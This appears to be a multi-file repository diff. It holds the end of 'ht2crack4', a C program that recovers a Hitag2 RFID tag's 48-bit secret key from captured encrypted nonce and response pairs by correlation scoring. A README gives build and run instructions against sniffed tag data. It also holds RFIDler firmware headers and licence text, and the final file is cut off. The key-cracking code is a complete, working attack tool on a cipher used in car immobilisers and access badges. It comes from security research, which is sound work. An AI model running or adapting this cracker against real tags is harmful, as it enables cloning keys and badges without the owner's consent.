nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf));
nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1)) ^ 0xffffffff;
}
num_nRaR++;
}
fclose(fp);
fp = NULL;
fprintf(stderr, "Loaded %d nRaR pairs\n", num_nRaR);
// set key and copy in enc_nR and ks values
// set score to -1.0 to distinguish them from 0 scores
for (i=0; i<65536; i++) {
guesses[i].key = i;
guesses[i].score = -1.0;
for (j=0; j<num_nRaR; j++) {
guesses[i].b0to31[j] = 0;
}
}
num_guesses = 65536;
}
/* bit_score calculates the ratio of partial states that could generate
* the resulting bit b to all possible states
* size is the number of confirmed bits in the state */
double bit_score(uint64_t s, uint64_t size, uint64_t b)
{
uint64_t packed;
uint64_t chopped;
unsigned int n;
uint64_t b1;
double nibprob1, nibprob0, prob;
unsigned int fncinput;
// chop away any bits beyond size
chopped = s & ((1l << size) - 1);
// and pack the remaining bits
packed = packstate(chopped);
// calc size of packed version
n = packed_size[size];
b1 = b & 0x1;
// calc probability of getting b1
// start by calculating probability of getting a 1,
// then fix if b1==0 (subtract from 1)
if (n == 0) {
// catch the case where we have no relevant bits and return
// the default probability
return 0.5;
} else if (n < 4) {
// incomplete first nibble
// get probability of getting a 1 from first nibble
// and by subtraction from 1, prob of getting a 0
nibprob1 = pfna[n-1][packed];
nibprob0 = 1.0 - nibprob1;
// calc fnc prob as sum of probs of nib 1 producing a 1 and 0
prob = (nibprob0 * pfnc[0][0]) + (nibprob1 * pfnc[0][1]);
} else if (n < 20) {
// calculate the fnc input first, then we'll fix it
fncinput = (ht2_function4a >> (packed & 0xf)) & 1;
fncinput |= ((ht2_function4b << 1) >> ((packed >> 4) & 0xf)) & 0x02;
fncinput |= ((ht2_function4b << 2) >> ((packed >> 8) & 0xf)) & 0x04;
fncinput |= ((ht2_function4b << 3) >> ((packed >> 12) & 0xf)) & 0x08;
fncinput |= ((ht2_function4a << 4) >> ((packed >> 16) & 0xf)) & 0x10;
// mask to keep the full nibble bits
fncinput = fncinput & ((1l << (n / 4)) - 1);
if ((n % 4) == 0) {
// only complete nibbles
prob = pfnc[(n / 4) - 1][fncinput];
} else {
// one nibble is incomplete
if (n <= 16) {
// it's in the fnb area
nibprob1 = pfnb[(n % 4) - 1][packed >> ((n / 4) * 4)];
nibprob0 = 1.0 - nibprob1;
prob = (nibprob0 * pfnc[n / 4][fncinput]) + (nibprob1 * pfnc[n / 4][fncinput | (1l << (n / 4))]);
} else {
// it's in the final fna
nibprob1 = pfna[(n % 4) - 1][packed >> 16];
nibprob0 = 1.0 - nibprob1;
prob = (nibprob0 * ((ht2_function5c >> fncinput) & 0x1)) + (nibprob1 * ((ht2_function5c >> (fncinput | 0x10)) & 0x1));
}
}
} else {
// n==20
prob = f20(packed);
}
if (b1) {
return prob;
} else {
return (1.0 - prob);
}
}
/* score is like bit_score but does multiple bit correlation.
* bit_score and then shift and then repeat, adding all
* bit_scores together until no bits remain. bit_scores are
* multiplied by the number of relevant bits in the scored state
* to give weight to more complete states. */
double score(uint64_t s, unsigned int size, uint64_t ks, unsigned int kssize)
{
double sc, sc2;
if ((size == 1) || (kssize == 1)) {
sc = bit_score(s, size, ks & 0x1);
return (sc * (packed_size[size] + 1));
} else {
// I've introduced a weighting for each score to
// give more significance to bigger windows.
sc = bit_score(s, size, ks & 0x1);
// if a bit_score returns a probability of 0 then this can't be a winner
if (sc == 0.0) {
return 0.0;
} else {
sc2 = score(s >> 1, size - 1, ks >> 1, kssize - 1);
// if score returns a probability of 0 then this can't be a winner
if (sc2 == 0.0) {
return 0.0;
} else {
return (sc * (packed_size[size] + 1)) + sc2;
}
}
}
}
/* score_traces runs score for each encrypted nonce */
void score_traces(struct guess *g, unsigned int size)
{
uint64_t lfsr;
unsigned int i;
double sc;
double total_score = 0.0;
// don't bother scoring traces that are already losers
if (g->score == 0.0) {
return;
}
for (i=0; i<num_nRaR; i++) {
// calc next b
// create lfsr - lower 32 bits is uid, upper 16 bits are lower 16 bits of key
// then shift by size - 16, insert upper key XOR enc_nonce XOR bitstream,
// and calc new bit b
lfsr = (uid >> (size - 16)) | ((g->key << (48 - size)) ^
((nonces[i].enc_nR ^ g->b0to31[i]) << (64 - size)));
g->b0to31[i] = g->b0to31[i] | (ht2crypt(lfsr) << (size - 16));
// create lfsr - lower 16 bits are lower 16 bits of key
// bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream
lfsr = g->key ^ ((nonces[i].enc_nR ^ g->b0to31[i]) << 16);
sc = score(lfsr, size, nonces[i].ks, 32);
// look out for losers
if (sc == 0.0) {
g->score = 0.0;
return;
}
total_score = total_score + sc;
}
// save average score
g->score = total_score / num_nRaR;
}
/* score_all_traces runs score_traces for every key guess in the table */
/* this was used in the non-threaded version */
/*
void score_all_traces(unsigned int size)
{
unsigned int i;
for (i=0; i<num_guesses; i++) {
score_traces(&(guesses[i]), size);
}
}
*/
/* score_some_traces runs score_traces for every key guess in a section of the table */
void *score_some_traces(void *data)
{
unsigned int i;
struct thread_data *tdata = (struct thread_data *)data;
for (i=tdata->start; i<tdata->end; i++) {
score_traces(&(guesses[i]), tdata->size);
}
return NULL;
}
/* score_all_traces runs score_traces for every key guess in the table */
void score_all_traces(unsigned int size)
{
pthread_t threads[NUM_THREADS];
void *status;
struct thread_data tdata[NUM_THREADS];
unsigned int i;
unsigned int chunk_size;
chunk_size = num_guesses / NUM_THREADS;
// create thread data
for (i=0; i<NUM_THREADS; i++) {
tdata[i].start = i * chunk_size;
tdata[i].end = (i+1) * chunk_size;
tdata[i].size = size;
}
// fix last chunk
tdata[NUM_THREADS - 1].end = num_guesses;
// start the threads
for (i=0; i<NUM_THREADS; i++) {
if (pthread_create(&(threads[i]), NULL, score_some_traces, (void *)(tdata + i))) {
printf("cannot start thread %d\n", i);
exit(1);
}
}
// wait for threads to end
for (i=0; i<NUM_THREADS; i++) {
if (pthread_join(threads[i], &status)) {
printf("cannot join thread %d\n", i);
exit(1);
}
}
}
/* cmp_guess is the comparison function for qsorting the guess table */
int cmp_guess(const void *a, const void *b)
{
struct guess *a1 = (struct guess *)a;
struct guess *b1 = (struct guess *)b;
if (a1->score < b1->score) {
return 1;
} else if (a1->score > b1->score) {
return -1;
} else {
return 0;
}
}
/* expand all guesses in first half of (sorted) table by
* copying them into the second half and extending the copied
* ones with an extra 1, leaving the first half with an extra 0 */
void expand_guesses(unsigned int halfsize, unsigned int size)
{
unsigned int i, j;
for (i=0; i<halfsize; i++) {
guesses[i+halfsize].key = guesses[i].key | (1l << size);
guesses[i+halfsize].score = guesses[i].score;
for (j=0; j<num_nRaR; j++) {
guesses[i+halfsize].b0to31[j] = guesses[i].b0to31[j];
}
}
}
/* checks if the supplied test key is still in the table, which
* is useful when testing different scoring methods */
void check_supplied_testkey(unsigned int size)
{
uint64_t partkey;
unsigned int i;
partkey = supplied_testkey & ((1l << size) - 1);
for (i=0; i<num_guesses; i++) {
if (guesses[i].key == partkey) {
fprintf(stderr, " supplied test key score = %1.10f, position = %d\n", guesses[i].score, i);
return;
}
}
fprintf(stderr, "TEST KEY NO LONGER IN GUESSES\n");
exit(1);
}
/* execute_round scores the guesses, sorts them and expands the good half */
void execute_round(unsigned int size)
{
unsigned int halfsize;
// score all the current guesses
score_all_traces(size);
// sort the guesses by score
qsort(guesses, num_guesses, sizeof(struct guess), cmp_guess);
if (supplied_testkey) {
check_supplied_testkey(size);
}
// identify limit
if (num_guesses < (maxtablesize / 2)) {
halfsize = num_guesses;
} else {
halfsize = (maxtablesize / 2);
}
// expand guesses
expand_guesses(halfsize, size);
num_guesses = halfsize * 2;
}
/* crack is the main cracking algo; it executes the rounds */
void crack()
{
unsigned int i;
uint64_t revkey;
uint64_t foundkey;
for (i=16; i<=48; i++) {
fprintf(stderr, "round %2d, size=%2d\n", i-16, i);
execute_round(i);
// print some metrics
revkey = rev64(guesses[0].key);
foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
fprintf(stderr, " guess=%012" PRIx64 ", num_guesses = %d, top score=%1.10f, min score=%1.10f\n", foundkey, num_guesses, guesses[0].score, guesses[num_guesses - 1].score);
}
}
/* test function to make sure I know how the LFSR works */
void testkey(uint64_t key)
{
uint64_t i;
uint64_t b0to31 = 0;
uint64_t ks = 0;
uint64_t lfsr;
uint64_t nRxorkey;
Hitag_State hstate;
printf("ORIG REFERENCE\n");
hitag2_init(&hstate, key, uid, nonces[0].enc_nR);
printf("after init with key, uid, nR:\n");
printstate(&hstate);
b0to31 = 0;
for (i=0; i<32; i++) {
b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31);
}
printf("ks = 0x%08" PRIx64 ", enc_aR = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 "\n", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31);
printstate(&hstate);
printf("\n");
printf("MY REFERENCE\n");
// build initial lfsr
lfsr = uid | ((key & 0xffff) << 32);
b0to31 = 0;
// xor upper part of key with encrypted nonce
nRxorkey = nonces[0].enc_nR ^ (key >> 16);
// insert keyupper xor encrypted nonce xor ks
for (i=0; i<32; i++) {
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31);
// insert new bit
lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48);
// shift lfsr
lfsr = lfsr >> 1;
}
printf("after init with key, uid, nR:\n");
printf("lfsr =\t\t");
printbin2(lfsr, 48);
printf("\n");
// iterate lfsr with fnL, extracting ks
for (i=0; i<32; i++) {
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
ks = (ks >> 1) | (ht2crypt(lfsr) << 31);
// insert new bit
lfsr = lfsr | (fnL(lfsr) << 48);
// shift lfsr
lfsr = lfsr >> 1;
}
printf("ks = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 ", ks(orig) = 0x%08" PRIx64 ", aR(orig) = %08" PRIx64 "\n", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff);
printf("lfsr = \t\t");
printbin2(lfsr, 48);
printf("\n\n");
}
/* test function to generate test data */
void gen_bitstreams_testks(struct guess *g, uint64_t key)
{
unsigned int i, j;
uint64_t nRxorkey, lfsr, ks;
for (j=0; j<num_nRaR; j++) {
// build initial lfsr
lfsr = uid | ((key & 0xffff) << 32);
g->b0to31[j] = 0;
// xor upper part of key with encrypted nonce
nRxorkey = nonces[j].enc_nR ^ (key >> 16);
// insert keyupper xor encrypted nonce xor ks
for (i=0; i<32; i++) {
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
g->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31);
// insert new bit
lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48);
// shift lfsr
lfsr = lfsr >> 1;
}
ks = 0;
// iterate lfsr with fnL, extracting ks
for (i=0; i<32; i++) {
// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31
ks = (ks >> 1) | (ht2crypt(lfsr) << 31);
// insert new bit
lfsr = lfsr | (fnL(lfsr) << 48);
// shift lfsr
lfsr = lfsr >> 1;
}
printf("orig ks = 0x%08" PRIx64 ", gen ks = 0x%08" PRIx64 ", b0to31 = 0x%08" PRIx64 "\n", nonces[j].ks, ks, g->b0to31[j]);
if (nonces[j].ks != ks) {
printf(" FAIL!\n");
}
}
}
/* test function */
void test()
{
uint64_t lfsr;
uint64_t packed;
uint64_t i;
for (i=0; i<1000; i++) {
lfsr = ((uint64_t)rand() << 32) | rand();
packed = packstate(lfsr);
if (hitag2_crypt(lfsr) != f20(packed)) {
printf(" * * * FAIL: %3" PRIu64 ": 0x%012" PRIx64 " = %d, 0x%012" PRIx64 " = 0x%05" PRIx64 "\n", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed));
}
}
printf("test done\n");
}
/* check_key tests the potential key against an encrypted nonce, ks pair */
int check_key(uint64_t key, uint64_t enc_nR, uint64_t ks)
{
Hitag_State hstate;
uint64_t bits;
int i;
hitag2_init(&hstate, key, uid, enc_nR);
bits = 0;
for (i=0; i<32; i++) {
bits = (bits >> 1) | (hitag2_nstep(&hstate, 1) << 31);
}
if (ks == bits) {
return 1;
} else {
return 0;
}
}
/* start up */
int main(int argc, char *argv[])
{
unsigned int i;
uint64_t revkey;
uint64_t foundkey;
int tot_nRaR = 0;
char c;
char *uidstr = NULL;
char *noncefilestr = NULL;
// test();
// exit(0);
while ((c = getopt(argc, argv, "u:n:N:t:T:h")) != -1) {
switch(c) {
case 'u':
uidstr = optarg;
break;
case 'n':
noncefilestr = optarg;
break;
case 'N':
tot_nRaR = atoi(optarg);
break;
case 't':
maxtablesize = atoi(optarg);
break;
case 'T':
supplied_testkey = rev64(hexreversetoulonglong(optarg));
break;
case 'h':
usage();
break;
default:
usage();
}
}
if (!uidstr || !noncefilestr || (maxtablesize <= 0)) {
usage();
}
create_guess_table();
init_guess_table(noncefilestr, uidstr);
if ((tot_nRaR > 0) && (tot_nRaR <= num_nRaR)) {
num_nRaR = tot_nRaR;
}
fprintf(stderr, "Using %d nRaR pairs\n", num_nRaR);
crack();
// test all key guesses and stop if one works
for (i=0; i<num_guesses; i++) {
if (check_key(guesses[i].key, nonces[0].enc_nR, nonces[0].ks) &&
check_key(guesses[i].key, nonces[1].enc_nR, nonces[1].ks)) {
printf("WIN!!! :)\n");
revkey = rev64(guesses[i].key);
foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
printf("key = %012" PRIX64 "\n", foundkey);
exit(0);
}
}
printf("FAIL :( - none of the potential keys in the table are correct.\n");
exit(1);
return 0;
}

View file

@ -0,0 +1,29 @@
ht2crack4
Build
-----
make clean
make
Run
---
You'll need a file consisting of 16 (or more) nR aR pairs. These are the
encrypted nonces and challenge response values. They should be in hex with
one pair per line, e.g.:
0x12345678 0x9abcdef0
./ht2crack4 -u UID -n NRARFILE [-N nonces to use] [-t table size]
UID is the UID of the tag that you used to gather the nR aR values.
NRARFILE is the file containing the nR aR values.
The number of nonces to use allows you to use less than 32 nonces to increase
speed.
The table size can be tweaked for speed. Start with 500000 and double it each
time it fails to find the key.

View file

@ -0,0 +1,412 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#include <stdio.h>
#include <string.h>
// BCD hardware revision for usb descriptor (usb_descriptors.c)
#define RFIDLER_HW_VERSION 0x020
// max sizes in BITS
#define MAXBLOCKSIZE 512
#define MAXTAGSIZE 4096
#define MAXUID 512
#define TMP_LARGE_BUFF_LEN 2048
#define TMP_SMALL_BUFF_LEN 256
#define ANALOGUE_BUFF_LEN 8192
#define COMMS_BUFFER_SIZE 128
#define DETECT_BUFFER_SIZE 512
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
// globals
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
extern BYTE EMU_ThisBit; // The next data bit to transmit
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
extern BOOL EMU_Background; // Emulate in the background until told to stop
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
extern BYTE ReaderPeriod; // Flag for sample display
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
extern BYTE Interface; // user interface - CLI or API
extern BYTE CommsChannel; // user comms channel - USB or UART
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
extern BOOL PWD_Mode; // is this tag password protected?
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
extern unsigned int Led_Count; // LED status counter, also used for entropy
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
extern char Previous; // Reader ISR previous bit type
// RWD (read/write device) coil state
extern BYTE RWD_State; // current state of RWD coil
extern unsigned int RWD_Fc; // field clock in uS
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
extern unsigned int RWD_OC5_config; // Output Compare Module settings
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *RWD_Command_ThisBit; // Current command bit
extern BOOL Reader_ISR_State; // current state of reader ISR
// NVM variables
// timings etc. that want to survive a reboot should go here
typedef struct {
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
BYTE AutoRun[128]; // optional command to run at startup
unsigned char TagType;
unsigned int PSK_Quality;
unsigned int Timeout;
unsigned int Wiegand_Pulse;
unsigned int Wiegand_Gap;
BOOL Wiegand_IdleState;
unsigned int FrameClock;
unsigned char Modulation;
unsigned int DataRate;
unsigned int DataRateSub0;
unsigned int DataRateSub1;
unsigned int DataBits;
unsigned int DataBlocks;
unsigned int BlockSize;
unsigned char SyncBits;
BYTE Sync[4];
BOOL BiPhase;
BOOL Invert;
BOOL Manchester;
BOOL HalfDuplex;
unsigned int Repeat;
unsigned int PotLow;
unsigned int PotHigh;
unsigned int RWD_Gap_Period;
unsigned int RWD_Zero_Period;
unsigned int RWD_One_Period;
unsigned int RWD_Sleep_Period;
unsigned int RWD_Wake_Period;
unsigned int RWD_Wait_Switch_TX_RX;
unsigned int RWD_Wait_Switch_RX_TX;
} StoredConfig;
// somewhere to store TAG data. this will be interpreted according to the TAG
// type.
typedef struct {
BYTE TagType; // raw tag type
BYTE EmulatedTagType; // tag type this tag is configured to emulate
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
BYTE Data[MAXTAGSIZE]; // raw data
unsigned char DataBlocks; // number of blocks in Data field
unsigned int BlockSize; // blocksize in bits
} VirtualTag;
extern StoredConfig RFIDlerConfig;
extern VirtualTag RFIDlerVTag;
extern BYTE TmpBuff[NVM_PAGE_SIZE];
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
extern unsigned int DataBuffCount;
extern const BYTE *ModulationSchemes[];
extern const BYTE *OnOff[];
extern const BYTE *HighLow[];
extern const BYTE *TagTypes[];
// globals for ISRs
extern BYTE EmulationMode;
extern unsigned long HW_Bits;
extern BYTE HW_Skip_Bits;
extern unsigned int PSK_Min_Pulse;
extern BOOL PSK_Read_Error;
extern BOOL Manchester_Error;
extern BOOL SnifferMode;
extern unsigned int Clock_Tick_Counter;
extern BOOL Clock_Tick_Counter_Reset;
// smart card lib
#define MAX_ATR_LEN (BYTE)33
extern BYTE scCardATR[MAX_ATR_LEN];
extern BYTE scATRLength;
// RTC
extern rtccTime RTC_time; // time structure
extern rtccDate RTC_date; // date structure
// digital pots
#define POTLOW_DEFAULT 100
#define POTHIGH_DEFAULT 150
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
#define VOLTS_TO_POT 0.019607843F
// RWD/clock states
#define RWD_STATE_INACTIVE 0 // RWD not in use
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
#define RWD_STATE_START_SEND 4 // RWD starting send of data
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
// reader ISR states
#define READER_STOPPED 0 // reader not in use
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
#define READER_RUNNING 2 // reader reading bits
// user interface types
#define INTERFACE_API 0
#define INTERFACE_CLI 1
// comms channel
#define COMMS_NONE 0
#define COMMS_USB 1
#define COMMS_UART 2
#define MAX_HISTORY 2 // disable most of history for now - memory issue
// tag write retries
#define TAG_WRITE_RETRY 5
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
#define MOD_MODE_NONE 0
#define MOD_MODE_ASK_OOK 1
#define MOD_MODE_FSK1 2
#define MOD_MODE_FSK2 3
#define MOD_MODE_PSK1 4
#define MOD_MODE_PSK2 5
#define MOD_MODE_PSK3 6
// TAG types - update TagTypes[] in tags.c if you add to this list
#define TAG_TYPE_NONE 0
#define TAG_TYPE_ASK_RAW 1
#define TAG_TYPE_FSK1_RAW 2
#define TAG_TYPE_FSK2_RAW 3
#define TAG_TYPE_PSK1_RAW 4
#define TAG_TYPE_PSK2_RAW 5
#define TAG_TYPE_PSK3_RAW 6
#define TAG_TYPE_HITAG1 7
#define TAG_TYPE_HITAG2 8
#define TAG_TYPE_EM4X02 9
#define TAG_TYPE_Q5 10
#define TAG_TYPE_HID_26 11
#define TAG_TYPE_INDALA_64 12
#define TAG_TYPE_INDALA_224 13
#define TAG_TYPE_UNIQUE 14
#define TAG_TYPE_FDXB 15
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
#define TAG_TYPE_AWID_26 17
#define TAG_TYPE_EM4X05 18
#define TAG_TYPE_TAMAGOTCHI 19
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
// various
#define BINARY 0
#define HEX 1
#define NO_ADDRESS -1
#define ACK TRUE
#define NO_ACK FALSE
#define BLOCK TRUE
#define NO_BLOCK FALSE
#define DATA TRUE
#define NO_DATA FALSE
#define DEBUG_PIN_ON HIGH
#define DEBUG_PIN_OFF LOW
#define FAST FALSE
#define SLOW TRUE
#define NO_TRIGGER 0
#define LOCK TRUE
#define NO_LOCK FALSE
#define NFC_MODE TRUE
#define NO_NFC_MODE FALSE
#define ONESHOT_READ TRUE
#define NO_ONESHOT_READ FALSE
#define RESET TRUE
#define NO_RESET FALSE
#define SHUTDOWN_CLOCK TRUE
#define NO_SHUTDOWN_CLOCK FALSE
#define SYNC TRUE
#define NO_SYNC FALSE
#define VERIFY TRUE
#define NO_VERIFY FALSE
#define VOLATILE FALSE
#define NON_VOLATILE TRUE
#define NEWLINE TRUE
#define NO_NEWLINE FALSE
#define WAIT TRUE
#define NO_WAIT FALSE
#define WIPER_HIGH 0
#define WIPER_LOW 1
// conversion for time to ticks
#define US_TO_TICKS 1000000L
#define US_OVER_10_TO_TICKS 10000000L
#define US_OVER_100_TO_TICKS 100000000L
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
#define TIMER5_PRESCALER 16
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
// other conversions
// bits to hex digits
#define HEXDIGITS(x) (x / 4)
#define HEXTOBITS(x) (x * 4)

View file

@ -0,0 +1,147 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
